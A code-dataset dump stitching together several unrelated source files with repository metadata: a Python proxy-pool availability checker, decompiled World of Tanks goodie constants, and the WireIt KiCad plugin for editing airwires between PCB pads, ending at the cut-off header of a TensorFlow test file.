iciba.com if enable_iciba is None: enable_iciba = conf.enable_iciba settings['iciba'] = enable_iciba settings['iciba_audio'] = conf.enable_icb_audio settings['iciba_lang'] = conf.enable_icb_lang settings['iciba_syllable'] = conf.enable_icb_syllable settings['iciba_extra'] = conf.enable_icb_syllable settings['colour'] = options.colour settings['plugins'] = options.plugins return storage(settings)
[ "opensource.mozillazg@gmail.com" ]
opensource.mozillazg@gmail.com
4c47324bc0e1d6065d40f28039ef03d9630a3096
01f4d1a2972887bbd1482ade4e253e0bc4373cd5
/check.py
7eac3e308ec347e8a4d4efea0e46bda86e84a33b
[]
no_license
1024Person/ProxyPool
cdabe5d6e29fd98109e4ae1dbb86391bb511310f
cd314cf1fded46b15708d56e8cb85c2099384a6e
refs/heads/main
2023-03-21T19:16:30.370551
2021-03-06T07:27:40
2021-03-06T07:27:40
344,514,686
1
0
null
null
null
null
UTF-8
Python
false
false
4,872
py
# 检测模块 from poolclient import PoolClient from setting import test_url,test_headers,USER_AGENT_LIST,check_max_worker,csv_file_path,good_ips_file_path from random import choice from concurrent.futures import ThreadPoolExecutor import requests class CheckIp(): # 参数:check_max_worker: 线程池中的线程数,默认是从settings中引入的100个,可以修改setting文件中的全局配置,也可以在创建的时候自己再传入一个数字,推荐后一种方法 # 参数:check_fn : 检查ip可用性的方法,默认是CheckIp自带的__check方法,如果传入定制的check_fn这个函数的参数必须是一个pd.Series对象,这个对象的index是["ip","scores"] # 参数:test_url : 用来检测ip的网址,默认使用setting文件中的test_url # 参数:test_headers : 定制headers,默认使用setting文件中的test_headers # 参数:client_path : 连接器需要获取混沌代理池路径 # 参数:client_good_path: 连接器需要获取优质代理池路径 def __init__(self,max_workers=check_max_worker,check_fn=None,ts_url=test_url,ts_headers=test_headers,client_path = csv_file_path,client_good_path=good_ips_file_path): self.__total_ip_count = 0 # 代理池中代理的数量 self.__success_ip_count = 0 # 代理池中成功可用代理的数量 self.poolclient = None self.client_path = client_path self.good_client_path = good_ips_file_path self.test_url = ts_url self.test_header = ts_headers self.CheckPool = ThreadPoolExecutor(max_workers=check_max_worker,thread_name_prefix="CheckIp") if not check_fn : self.check_fn = self.__check else: self.check_fn = check_fn # 开启检查池 # 参数:check_fn 检测函数,默认为self.__check # 注意:check_fn 函数只能有一个参数:ip(Series对象) # 要检测代理ip的网站,需要从setting.py里设置test_url,想定制headers也需要从setting.py文件中设置test_headers def start_check(self): self.client_pool() print("{}开始运行".format(self.CheckPool._thread_name_prefix)) for ip in self.poolclient.get_all_ip(): future = self.CheckPool.submit(self.check_fn,(ip,)) future.add_done_callback(self.__update_pool) # 链接数据池 def client_pool(self): print("正在连接数据池.....") self.poolclient = PoolClient(csv_file_path=self.client_path,good_ips_file_path=self.good_client_path) # 关闭检查池 def shutdown(self): print("关闭检查池") self.CheckPool.shutdown(wait=True) print("检查池关闭成功") self.poolclient.shutdown() # 关闭数据池 # 获取代理池成功率 def get_success_rate(self): return self.__success_ip_count / self.__total_ip_count # 线程池的回调函数,用来更新代理池的分数 def __update_pool(self,future): self.__total_ip_count += 1 result = future.result() success_or_fail, ip= result if success_or_fail: self.__success_ip_count += 1 self.poolclient.success_ip(ip) else: self.poolclient.fail_ip(ip) print("===" * 20) # 将每次测试结果隔开, # 参数:ip:Series对象,当前要检测的ip代理 # return: # bool 返回当前ip是否可用 # ip 设置分数的时候需要 def __check(self,ip): ip = ip[0] # 先将ip的Series对象获取出来 proxy = { "http":"http://"+ip["ip"], "https":"https://"+ip["ip"] } try: response = requests.get(url=self.test_url,headers=self.test_header,proxies=proxy,timeout=30) if response.status_code == 200: return (True,ip) else: print("请求状态码不对") print("status_code:",response.status_code) return (False,ip) except requests.exceptions.ProxyError: print("代理出错") return (False,ip) except requests.exceptions.ConnectTimeout: print("请求太慢,直接pass掉了") return (False,ip) except requests.exceptions.TooManyRedirects: print("我也不知道怎么就出错了") return (False,ip) except requests.exceptions.ReadTimeout: print("ReadTimeout") return (False,ip) except: return (False,ip) if __name__ == "__main__": check = CheckIp() check.start_check() check.shutdown() message = """ 本次测试网址: {}, 本次测试成功率:{}%, """.format(check.test_url,check.get_success_rate()) print(message)
[ "239903524@qq.com" ]
239903524@qq.com
95a5dfd878c46a91038a0a3438cec95df558968e
bb33e6be8316f35decbb2b81badf2b6dcf7df515
/source/res/scripts/common/goodies/goodie_constants.py
8e816e66038e66d865b8418dd4dcf2b5fa3bc7c4
[]
no_license
StranikS-Scan/WorldOfTanks-Decompiled
999c9567de38c32c760ab72c21c00ea7bc20990c
d2fe9c195825ececc728e87a02983908b7ea9199
refs/heads/1.18
2023-08-25T17:39:27.718097
2022-09-22T06:49:44
2022-09-22T06:49:44
148,696,315
103
39
null
2022-09-14T17:50:03
2018-09-13T20:49:11
Python
UTF-8
Python
false
false
1,243
py
# Python bytecode 2.7 (decompiled from Python 2.7) # Embedded file name: scripts/common/goodies/goodie_constants.py MAX_ACTIVE_GOODIES = 3 class GOODIE_STATE: INACTIVE = 0 ACTIVE = 1 USED = 2 class GOODIE_VARIETY: DISCOUNT = 0 BOOSTER = 1 DEMOUNT_KIT = 2 RECERTIFICATION_FORM = 3 DISCOUNT_NAME = 'discount' BOOSTER_NAME = 'booster' DEMOUNT_KIT_NAME = 'demountKit' RECERTIFICATION_FORM_NAME = 'recertificationForm' NAME_TO_ID = {DISCOUNT_NAME: DISCOUNT, BOOSTER_NAME: BOOSTER, DEMOUNT_KIT_NAME: DEMOUNT_KIT, RECERTIFICATION_FORM_NAME: RECERTIFICATION_FORM} DISCOUNT_LIKE = (DISCOUNT, DEMOUNT_KIT, RECERTIFICATION_FORM) class GOODIE_TARGET_TYPE: ON_BUY_PREMIUM = 1 ON_BUY_SLOT = 2 ON_POST_BATTLE = 3 ON_BUY_GOLD_TANKMEN = 4 ON_FREE_XP_CONVERSION = 5 ON_BUY_VEHICLE = 6 ON_EPIC_META = 7 ON_DEMOUNT_OPTIONAL_DEVICE = 8 EPIC_POST_BATTLE = 9 ON_DROP_SKILL = 10 class GOODIE_CONDITION_TYPE: MAX_VEHICLE_LEVEL = 1 class GOODIE_RESOURCE_TYPE: GOLD = 10 CREDITS = 20 XP = 30 CREW_XP = 40 FREE_XP = 50 FL_XP = 60 class GOODIE_NOTIFICATION_TYPE: EMPTY = 1 REMOVED = 3 DISABLED = 4 ENABLED = 5
[ "StranikS_Scan@mail.ru" ]
StranikS_Scan@mail.ru
f684e8f06dbfd3cc2da9f8f18e5f75018fc51754
a5960a39215b8910b167cc3944cc8f58934b3760
/WireIt.py
daa62e52dcbb2b5f27c52e839eef0a58b43654b7
[ "MIT" ]
permissive
BG4RFF/WireIt
993ad28dbb46dbefab42f5ecdcf861acec8e6cb0
9b3d26abdeb34ef15ff7c85325922a789b2d9290
refs/heads/master
2022-08-01T00:54:59.534399
2020-05-19T18:35:51
2020-05-19T18:35:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
30,171
py
# -*- coding: utf-8 -*- # MIT license # # Copyright (C) 2018 by XESS Corp. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from pcbnew import * import sys import os import os.path import re import wx import wx.aui import wx.lib.filebrowsebutton as FBB WIDGET_SPACING = 5 def debug_dialog(msg, exception=None): if exception: msg = "\n".join((msg, str(exception), traceback.format.exc())) dlg = wx.MessageDialog(None, msg, "", wx.OK) dlg.ShowModal() dlg.Destroy() class DnDFilePickerCtrl(FBB.FileBrowseButtonWithHistory, wx.FileDropTarget): """File browser that keeps its history.""" def __init__(self, *args, **kwargs): FBB.FileBrowseButtonWithHistory.__init__(self, *args, **kwargs) wx.FileDropTarget.__init__(self) self.SetDropTarget(self) self.SetDefaultAction( wx.DragCopy ) # Show '+' icon when hovering over this field. def GetPath(self, addToHistory=False): current_value = self.GetValue() if addToHistory: self.AddToHistory(current_value) return current_value def AddToHistory(self, value): if value == u"": return if type(value) in (str, unicode): history = self.GetHistory() history.insert(0, value) history = tuple(set(history)) self.SetHistory(history, 0) self.SetValue(value) elif type(value) in (list, tuple): for v in value: self.AddToHistory(v) def SetPath(self, path): self.AddToHistory(path) self.SetValue(path) def OnChanged(self, evt): wx.PostEvent( self, wx.PyCommandEvent(wx.EVT_FILEPICKER_CHANGED.typeId, self.GetId()) ) def OnDropFiles(self, x, y, filenames): self.AddToHistory(filenames) wx.PostEvent( self, wx.PyCommandEvent(wx.EVT_FILEPICKER_CHANGED.typeId, self.GetId()) ) class LabelledTextCtrl(wx.BoxSizer): """Text-entry box with a label.""" def __init__(self, parent, label, value, tooltip=""): wx.BoxSizer.__init__(self, wx.HORIZONTAL) self.lbl = wx.StaticText(parent=parent, label=label) self.ctrl = wx.TextCtrl(parent=parent, value=value, style=wx.TE_PROCESS_ENTER) self.ctrl.SetToolTip(wx.ToolTip(tooltip)) self.AddSpacer(WIDGET_SPACING) self.Add(self.lbl, 0, wx.ALL | wx.ALIGN_CENTER) self.AddSpacer(WIDGET_SPACING) self.Add(self.ctrl, 1, wx.ALL | wx.EXPAND) self.AddSpacer(WIDGET_SPACING) class LabelledListBox(wx.BoxSizer): """ListBox with label.""" def __init__(self, parent, label, choices, tooltip=""): wx.BoxSizer.__init__(self, wx.HORIZONTAL) self.lbl = wx.StaticText(parent=parent, label=label) self.lbx = wx.ListBox( parent=parent, choices=choices, style=wx.LB_SINGLE | wx.LB_NEEDED_SB | wx.LB_SORT, ) self.lbx.SetToolTip(wx.ToolTip(tooltip)) self.AddSpacer(WIDGET_SPACING) self.Add(self.lbl, 0, wx.ALL | wx.ALIGN_TOP) self.AddSpacer(WIDGET_SPACING) self.Add(self.lbx, 1, wx.ALL | wx.EXPAND) self.AddSpacer(WIDGET_SPACING) class LabelledComboBox(wx.BoxSizer): """ListBox with label.""" def __init__(self, parent, label, choices, tooltip=""): wx.BoxSizer.__init__(self, wx.HORIZONTAL) self.lbl = wx.StaticText(parent=parent, label=label) self.cbx = wx.ComboBox( parent=parent, choices=choices, style=wx.CB_DROPDOWN | wx.TE_PROCESS_ENTER | wx.CB_SORT, ) self.cbx.SetToolTip(wx.ToolTip(tooltip)) self.AddSpacer(WIDGET_SPACING) self.Add(self.lbl, 0, wx.ALL | wx.ALIGN_TOP) self.AddSpacer(WIDGET_SPACING) self.Add(self.cbx, 1, wx.ALL | wx.EXPAND) self.AddSpacer(WIDGET_SPACING) class Part(object): """Object for storing part symbol data.""" pass class Pin(object): """Object for storing pin data.""" pass def get_netlist(): """Create a dict with part ref & pad num as the key and attached net as the value.""" netlist = {} for pad in GetBoard().GetPads(): pad_key = pad.GetParent().GetReference(), pad.GetPadName() netlist[pad_key] = pad.GetNetname(), pad.GetNetCode() return netlist def get_net_names(): """Create a list of all the net names in the PCB.""" return list(set([net[0] for net in get_netlist().values()])) def get_stuff_on_nets(*nets): """Get all the pads, tracks, zones attached to a net.""" brd = GetBoard() all_stuff = list(brd.GetPads()) all_stuff.extend(brd.GetTracks()) all_stuff.extend(brd.Zones()) stuff = [] for net in nets: if isinstance(net, int): stuff.extend([thing for thing in all_stuff if thing.GetNetCode() == net]) elif isinstance(net, NETINFO_ITEM): stuff.extend([thing for thing in all_stuff if thing.GetNet() == net]) else: stuff.extend([thing for thing in all_stuff if thing.GetNetname() == net]) return stuff def get_parts_from_netlist(netlist_file): """Get part information from a netlist file.""" # Get the local and global files that contain the symbol tables. # Place the global file first so its entries will be overridden by any # matching entries in the local file. sym_lib_tbl_files = [] # Store the symbol table file paths here. brd_file = GetBoard().GetFileName() brd_dir = os.path.abspath(os.path.dirname(brd_file)) brd_name = os.path.splitext(os.path.basename(brd_file))[0] if sys.platform == "win32": default_home = os.path.expanduser(r"~\AppData\Roaming\kicad") else: default_home = os.path.expanduser(r"~/.config/kicad") dirs = [os.environ.get("KICAD_CONFIG_HOME", default_home), brd_dir] for dir in dirs: sym_lib_tbl_file = os.path.join(dir, "sym-lib-table") if os.path.isfile(sym_lib_tbl_file): sym_lib_tbl_files.append(sym_lib_tbl_file) # Regular expression for getting the symbol library name and file location # from the symbol table file. sym_tbl_re = "\(\s*lib\s+\(\s*name\s+([^)]+)\s*\).*\(\s*uri\s+([^)]+)\s*\)" # Process the global and local symbol library tables to create a dict # of the symbol library names and their file locations. sym_lib_files = {} for tbl_file in sym_lib_tbl_files: with open(tbl_file, "r") as fp: for line in fp: srch_result = re.search(sym_tbl_re, line) if srch_result: lib_name, lib_uri = srch_result.group(1, 2) sym_lib_files[lib_name.lower()] = os.path.expandvars(lib_uri) # Add any cache or rescue libraries in the PCB directory. for lib_type in ["-cache", "-rescue"]: lib_name = brd_name + lib_type file_name = os.path.join(brd_dir, lib_name + ".lib") if os.path.isfile(file_name): sym_lib_files[lib_name.lower()] = file_name # Regular expressions for getting the part reference and symbol library # from the netlist file. comp_ref_re = "\(\s*comp\s+\(\s*ref\s+([_A-Za-z][_A-Za-z0-9]*)\s*\)" comp_lib_re = ( "\(\s*libsource\s+\(\s*lib\s+([^)]+)\s*\)\s+\(\s*part\s+([^)]+)\s*\)\s*\)" ) # Scan through the netlist searching for the part references and libraries. parts = {} with open(netlist_file, "r") as fp: for line in fp: # Search for part reference. srch_result = re.search(comp_ref_re, line) if srch_result: ref = srch_result.group(1) parts[ref] = None continue # Reference found, so continue with next line. # Search for symbol library associated with the part reference. srch_result = re.search(comp_lib_re, line) if srch_result: part = Part() part.lib = srch_result.group(1).lower() part.part = srch_result.group(2) parts[ref] = part continue # Library found, so continue with next line. # For each symbol, store the path to the file associated with that symbol's library. for part in parts.values(): if part: part.lib_file = sym_lib_files.get(part.lib, None) return parts def fillin_part_info_from_lib(ref, parts): """Fill-in part information from its associated library file.""" try: part = parts[ref] except Exception: debug_dialog(ref + "was not found in the netlist!") raise Exception(ref + "was not found in the netlist!") part.pins = {} # Store part's pin information here. part.units = set() # Store list of part's units here. # Find the part in the library and get the info for each pin. with open(part.lib_file, "r") as fp: part_found = False for line in fp: if part_found: if line.startswith("ENDDEF"): # Found the end of the desired part def, so we're done. break if line.startswith("X "): # Read pin information records once the desired part def is found. pin_info = line.split() pin = Pin() pin.num = pin_info[2] pin.name = pin_info[1] pin.func = pin_info[11] pin.unit = pin_info[9] part.pins[pin.num] = pin part.units.add(pin.unit) continue # Look for the start of the desired part's definition. part_found = re.search(r"^DEF\s+" + part.part + r"\s+", line) or re.search( r"^ALIAS\s+([^\s]+\s+)*" + part.part + r"\s+", line ) def get_project_directory(): """Return the path of the PCB directory.""" return os.path.dirname(GetBoard().GetFileName()) def guess_netlist_file(): """Try to find the netlist file for this PCB.""" design_name = os.path.splitext(os.path.abspath(GetBoard().GetFileName()))[0] netlist_file_name = design_name + ".net" if os.path.isfile(netlist_file_name): return netlist_file_name return "" class PinContention: """Class for checking contention between pins on the same net.""" def __init__(self): # Initialize the pin contention matrix. OK, WARNING, ERROR = 0, 1, 2 pin_funcs = ["I", "O", "B", "T", "W", "w", "P", "U", "C", "E", "N"] ( INPUT, OUTPUT, BIDIR, TRISTATE, PWRIN, PWROUT, PASSIVE, UNSPEC, OPENCOLL, OPENEMIT, NOCONNECT, ) = pin_funcs erc_matrix = {f: {ff: OK for ff in pin_funcs} for f in pin_funcs} erc_matrix[OUTPUT][OUTPUT] = ERROR erc_matrix[TRISTATE][OUTPUT] = WARNING erc_matrix[UNSPEC][INPUT] = WARNING erc_matrix[UNSPEC][OUTPUT] = WARNING erc_matrix[UNSPEC][BIDIR] = WARNING erc_matrix[UNSPEC][TRISTATE] = WARNING erc_matrix[UNSPEC][PASSIVE] = WARNING erc_matrix[UNSPEC][UNSPEC] = WARNING erc_matrix[PWRIN][TRISTATE] = WARNING erc_matrix[PWRIN][UNSPEC] = WARNING erc_matrix[PWROUT][OUTPUT] = ERROR erc_matrix[PWROUT][BIDIR] = WARNING erc_matrix[PWROUT][TRISTATE] = ERROR erc_matrix[PWROUT][UNSPEC] = WARNING erc_matrix[PWROUT][PWROUT] = ERROR erc_matrix[OPENCOLL][OUTPUT] = ERROR erc_matrix[OPENCOLL][TRISTATE] = ERROR erc_matrix[OPENCOLL][UNSPEC] = WARNING erc_matrix[OPENCOLL][PWROUT] = ERROR erc_matrix[OPENEMIT][OUTPUT] = ERROR erc_matrix[OPENEMIT][BIDIR] = WARNING erc_matrix[OPENEMIT][TRISTATE] = WARNING erc_matrix[OPENEMIT][UNSPEC] = WARNING erc_matrix[OPENEMIT][PWROUT] = ERROR erc_matrix[NOCONNECT][INPUT] = ERROR erc_matrix[NOCONNECT][OUTPUT] = ERROR erc_matrix[NOCONNECT][BIDIR] = ERROR erc_matrix[NOCONNECT][TRISTATE] = ERROR erc_matrix[NOCONNECT][PASSIVE] = ERROR erc_matrix[NOCONNECT][UNSPEC] = ERROR erc_matrix[NOCONNECT][PWRIN] = ERROR erc_matrix[NOCONNECT][PWROUT] = ERROR erc_matrix[NOCONNECT][OPENCOLL] = ERROR erc_matrix[NOCONNECT][OPENEMIT] = ERROR erc_matrix[NOCONNECT][NOCONNECT] = ERROR for s in pin_funcs: for d in pin_funcs: if erc_matrix[s][d] != erc_matrix[d][s]: err_level = max(erc_matrix[s][d], erc_matrix[d][s]) erc_matrix[s][d] = err_level erc_matrix[d][s] = err_level class NetNameDialog(wx.Dialog): """Class for getting a new net name from the user.""" def __init__(self, *args, **kwargs): wx.Dialog.__init__(self, None, title=kwargs.get("title")) panel = wx.Panel(self) self.name_field = LabelledComboBox( panel, "Net Name:", kwargs.get("net_name_choices"), kwargs.get("tool_tip") ) self.name_field.cbx.Bind( wx.EVT_TEXT_ENTER, self.set_net_name, self.name_field.cbx ) self.ok_btn = wx.Button(panel, label="OK") self.cancel_btn = wx.Button(panel, label="Cancel") self.ok_btn.Bind(wx.EVT_BUTTON, self.set_net_name, self.ok_btn) self.cancel_btn.Bind(wx.EVT_BUTTON, self.cancel, self.cancel_btn) btn_sizer = wx.BoxSizer(wx.HORIZONTAL) btn_sizer.AddSpacer(WIDGET_SPACING) btn_sizer.Add(self.ok_btn, flag=wx.ALL | wx.ALIGN_CENTER) btn_sizer.AddSpacer(WIDGET_SPACING) btn_sizer.Add(self.cancel_btn, flag=wx.ALL | wx.ALIGN_CENTER) btn_sizer.AddSpacer(WIDGET_SPACING) # Create a vertical sizer to hold everything in the panel. sizer = wx.BoxSizer(wx.VERTICAL) sizer.Add(self.name_field, 0, wx.ALL | wx.EXPAND, WIDGET_SPACING) sizer.Add(btn_sizer, 0, wx.ALL | wx.ALIGN_CENTER, WIDGET_SPACING) # Size the panel. panel.SetSizer(sizer) panel.Layout() panel.Fit() # Finally, size the frame that holds the panel. self.Fit() # Show the dialog box. self.ShowModal() def set_net_name(self, evt): self.net_name = self.name_field.cbx.GetValue() self.Close() def cancel(self, evt): self.net_name = None self.Close() def wire_it_callback(evt): """Create a wire between selected pads.""" brd = GetBoard() cnct = brd.GetConnectivity() all_net_names = get_net_names() # Get all the net names on the board. pads = [p for p in brd.GetPads() if p.IsSelected()] # Get selected pads. tracks = [t for t in brd.GetTracks() if t.IsSelected()] # Get selected tracks. zones = [z for z in brd.Zones() if z.IsSelected()] # Get selected zones. net_codes = [p.GetNetCode() for p in pads] # Get nets for selected pads. net_codes.extend([t.GetNetCode() for t in tracks]) # Add nets for selected tracks. net_codes.extend([z.GetNetCode() for z in zones]) # Add nets for selected zones. net_codes = list(set(net_codes)) # Remove duplicate nets. net_names = [ brd.FindNet(net_code).GetNetname() for net_code in net_codes ] # Get net names for selected pads, tracks, zones. no_connect = 0 # PCBNEW ID for the no-connect net. num_nets = len(net_codes) # Number of nets attached to selected pads. if num_nets == 1 and no_connect in net_codes: # In this case, all the selected pads are currently unattached to nets # so an existing net has to be selected or a new net has to be created # that they can be attached to. net_namer = NetNameDialog( title="Attach Pads to New or Existing Net", tool_tip="Type or select name for the net to connect these pads.", net_name_choices=all_net_names, ) if not net_namer.net_name: # The user aborted the operation by hitting Cancel. return if net_namer.net_name in all_net_names: # User entered the name of an existing net. net = brd.FindNet(net_namer.net_name) else: # User entered a new net name, so create it. net = NETINFO_ITEM(brd, net_namer.net_name) brd.Add(net) # Attach all the selected pads to the net. for pad in pads: cnct.Add(pad) pad.SetNet(net) net_namer.Destroy() elif num_nets == 1 and no_connect not in net_codes: # In this case, all the selected pads are attached to the same net # so the net will be renamed. net_namer = NetNameDialog( title="Rename Net Attached to Pads", tool_tip="Type or select a new name for the existing net connecting these pads.", net_name_choices=all_net_names, ) if not net_namer.net_name: # The user aborted the operation by hitting Cancel. return if net_namer.net_name in all_net_names: # User entered the name of an existing net. net = brd.FindNet(net_namer.net_name) else: # User entered a new net name, so create it. net = NETINFO_ITEM(brd, net_namer.net_name) brd.Add(net) # Move *ALL* the pads, tracks, zones on the net to the net given by the user. for thing in get_stuff_on_nets(net_codes[0]): thing.SetNet(net) net_namer.Destroy() elif num_nets == 2 and no_connect in net_codes: # In this case, some of the pads are unconnected and the others # are all attached to the same net, so attach the unconnected pads # to the net the others are attached to. net_codes.remove(no_connect) # Remove the no-connect net from the list. net = brd.FindNet(net_codes[0]) # This is the net to attach pads to. # Connect all the unconnected pads to the net. for pad in pads: if pad.GetNetCode() == no_connect: cnct.Add(pad) pad.SetNet(net) else: # In this case, the selected pads are connected to two or more nets # so all the pads on these nets will be merged onto the same net. net_namer = NetNameDialog( title="Merge Nets Attached to Pads", tool_tip="Type or select name for the net created by merging the nets in this list.", net_name_choices=net_names, ) if not net_namer.net_name: # The user aborted the operation by hitting Cancel. return if net_namer.net_name in all_net_names: # User entered the name of an existing net. net = brd.FindNet(net_namer.net_name) else: # User entered a new net name, so create it. net = NETINFO_ITEM(brd, net_namer.net_name) brd.Add(net) net_names.append(net_namer.net_name) # Add it to the list of net names. # Move *ALL* the pads, tracks, zones attached to the original nets to the selected net. for thing in get_stuff_on_nets(*net_names): thing.SetNet(net) net_namer.Destroy() # Update the board to show the new connections. brd.BuildListOfNets() cnct.RecalculateRatsnest() Refresh() def cut_it_callback(evt): """Remove wires from selected pads.""" # Get the selected pads. brd = GetBoard() cnct = brd.GetConnectivity() pads = [p for p in brd.GetPads() if p.IsSelected()] # Disconnect the pads by moving them to the no-connect net. no_connect = 0 # PCBNEW ID for the no-connect net. for pad in pads: cnct.Remove(pad) pad.SetNetCode(no_connect) # Update the board to show the removed connections. brd.BuildListOfNets() cnct.RecalculateRatsnest() Refresh() def swap_it_callback(evt): """Swap wires between two selected pads.""" # Get the selected pads. brd = GetBoard() pads = [p for p in brd.GetPads() if p.IsSelected()] # Report error if trying to swap more or less than two pads. if len(pads) != 2: debug_dialog("To swap pads, you must select two pads and only two pads!") return # Swap nets assigned to the two pads. pad0_net = pads[0].GetNet() pads[0].SetNet(pads[1].GetNet()) pads[1].SetNet(pad0_net) # Update the board to show the swapped connections. brd.BuildListOfNets() brd.GetConnectivity().RecalculateRatsnest() Refresh() original_netlist = {} class DumpDialog(wx.Dialog): """Class for getting filenames for dumping netlist changes.""" def __init__(self, *args, **kwargs): try: wx.Dialog.__init__(self, None, title="Dump Wiring Changes") self.netlist_name = kwargs.pop("netlist_name", "") self.dump_name = kwargs.pop("dump_name", "") panel = wx.Panel(self) # File browser widget for getting netlist file for this layout. # netlist_file_wildcard = 'Netlist File|*.net|All Files|*.*' # self.netlist_file_picker = DnDFilePickerCtrl( # parent=panel, # labelText='Netlist File:', # buttonText='Browse', # toolTip='Drag-and-drop the netlist file associated with this layout or browse for file or enter file name.', # dialogTitle='Select netlist file associated with this layout', # startDirectory=get_project_directory(), # initialValue=guess_netlist_file(), # fileMask=netlist_file_wildcard, # fileMode=wx.FD_OPEN) # self.Bind(wx.EVT_FILEPICKER_CHANGED, self.netlist_file_handler, self.netlist_file_picker) # File browser widget for selecting the file to receive the netlist changes. dump_file_wildcard = "Dump File|*.txt|All Files|*.*" self.dump_file_picker = DnDFilePickerCtrl( parent=panel, labelText="Netlist Changes File:", buttonText="Browse", toolTip="Drag-and-drop file or browse for file or enter file name.", dialogTitle="Select file to store netlist changes", startDirectory=get_project_directory(), initialValue="", fileMask=dump_file_wildcard, fileMode=wx.FD_OPEN, ) self.Bind( wx.EVT_FILEPICKER_CHANGED, self.dump_file_handler, self.dump_file_picker ) self.dump_btn = wx.Button(panel, label="Dump") self.cancel_btn = wx.Button(panel, label="Cancel") self.dump_btn.Bind(wx.EVT_BUTTON, self.do_dump, self.dump_btn) self.cancel_btn.Bind(wx.EVT_BUTTON, self.cancel, self.cancel_btn) btn_sizer = wx.BoxSizer(wx.HORIZONTAL) btn_sizer.AddSpacer(WIDGET_SPACING) btn_sizer.Add(self.dump_btn, flag=wx.ALL | wx.ALIGN_CENTER) btn_sizer.AddSpacer(WIDGET_SPACING) btn_sizer.Add(self.cancel_btn, flag=wx.ALL | wx.ALIGN_CENTER) btn_sizer.AddSpacer(WIDGET_SPACING) # Create a vertical sizer to hold everything in the panel. sizer = wx.BoxSizer(wx.VERTICAL) # sizer.Add(self.netlist_file_picker, 0, wx.ALL | wx.EXPAND, WIDGET_SPACING) sizer.Add(self.dump_file_picker, 0, wx.ALL | wx.EXPAND, WIDGET_SPACING) sizer.Add(btn_sizer, 0, wx.ALL | wx.ALIGN_CENTER, WIDGET_SPACING) # Size the panel. panel.SetSizer(sizer) panel.Layout() panel.Fit() # Finally, size the frame that holds the panel. self.Fit() self.ShowModal() except Exception as e: debug_dialog("Something went wrong!", e) def netlist_file_handler(self, evt): pass def dump_file_handler(self, evt): self.dump_name = self.dump_file_picker.GetPath() self.dump_btn.SetFocus() def do_dump(self, evt): try: current_netlist = get_netlist() with open(self.dump_name, r"w") as fp: for (ref, num), (new_net, new_code) in sorted(current_netlist.items()): old_net, old_code = original_netlist[(ref, num)] if (new_net, new_code) != (old_net, old_code): fp.write( 'Part {ref}: Pad {num} moved from (net {old_code} "{old_net}") to (net {new_code} "{new_net}").\n'.format( **locals() ) ) except Exception as e: debug_dialog("Something went wrong!", e) self.Destroy() def cancel(self, evt): self.Destroy() def dump_it_callback(evt): """Compare pad wiring to original netlist and write changes to a file.""" DumpDialog() class WireIt(ActionPlugin): """Plugin class for tools to change wiring between pads""" buttons = False # Buttons currently not installed in toolbar. def defaults(self): self.name = "WireIt" self.category = "Layout" self.description = "Create/cut/swap airwires between pads." def Run(self): # Add Wire-It buttons to toolbar if they aren't there already. if not self.buttons: def findPcbnewWindow(): """Find the window for the PCBNEW application.""" windows = wx.GetTopLevelWindows() pcbnew = [w for w in windows if "Pcbnew" in w.GetTitle()] if len(pcbnew) != 1: raise Exception("Cannot find pcbnew window from title matching!") return pcbnew[0] try: # Find the toolbar in the PCBNEW window. import inspect import os filename = inspect.getframeinfo(inspect.currentframe()).filename path = os.path.dirname(os.path.abspath(filename)) pcbwin = findPcbnewWindow() top_toolbar = pcbwin.FindWindowById(ID_H_TOOLBAR) # Add wire-creation button to toolbar. wire_it_button = wx.NewId() wire_it_button_bm = wx.Bitmap( os.path.join(path, "WireIt_icons", "wire_it.png"), wx.BITMAP_TYPE_PNG, ) top_toolbar.AddTool( wire_it_button, "Wire It", wire_it_button_bm, "Connect pads with an airwire", wx.ITEM_NORMAL, ) top_toolbar.Bind(wx.EVT_TOOL, wire_it_callback, id=wire_it_button) # Add wire-removal button. cut_it_button = wx.NewId() cut_it_button_bm = wx.Bitmap( os.path.join(path, "WireIt_icons", "cut_it.png"), wx.BITMAP_TYPE_PNG ) top_toolbar.AddTool( cut_it_button, "Cut It", cut_it_button_bm, "Disconnect airwires from pads", wx.ITEM_NORMAL, ) top_toolbar.Bind(wx.EVT_TOOL, cut_it_callback, id=cut_it_button) # Add pad-swap button. swap_it_button = wx.NewId() swap_it_button_bm = wx.Bitmap( os.path.join(path, "WireIt_icons", "swap_it.png"), wx.BITMAP_TYPE_PNG, ) top_toolbar.AddTool( swap_it_button, "Swap It", swap_it_button_bm, "Swap airwires between two pads", wx.ITEM_NORMAL, ) top_toolbar.Bind(wx.EVT_TOOL, swap_it_callback, id=swap_it_button) # Add button for dumping wiring changes to a file. dump_it_button = wx.NewId() dump_it_button_bm = wx.Bitmap( os.path.join(path, "WireIt_icons", "dump_it.png"), wx.BITMAP_TYPE_PNG, ) top_toolbar.AddTool( dump_it_button, "Dump It", dump_it_button_bm, "Dump wiring changes to a file", wx.ITEM_NORMAL, ) top_toolbar.Bind(wx.EVT_TOOL, dump_it_callback, id=dump_it_button) top_toolbar.Realize() self.buttons = True # Buttons now installed in toolbar. # Also, store the current netlist to compare against later when dumping wiring changes. global original_netlist original_netlist = get_netlist() except Exception as e: debug_dialog("Something went wrong!", e) WireIt().register()
[ "devb@xess.com" ]
devb@xess.com
f40951ca21c7c8bd3b03ea03a2771195723484ff
556db265723b0cc30ad2917442ed6dad92fd9044
/tensorflow/python/kernel_tests/random/multinomial_op_big_test.py
8e2a734c8171d890fc2159029bc3b7940da1fdee
[ "MIT", "Apache-2.0", "BSD-2-Clause" ]
permissive
graphcore/tensorflow
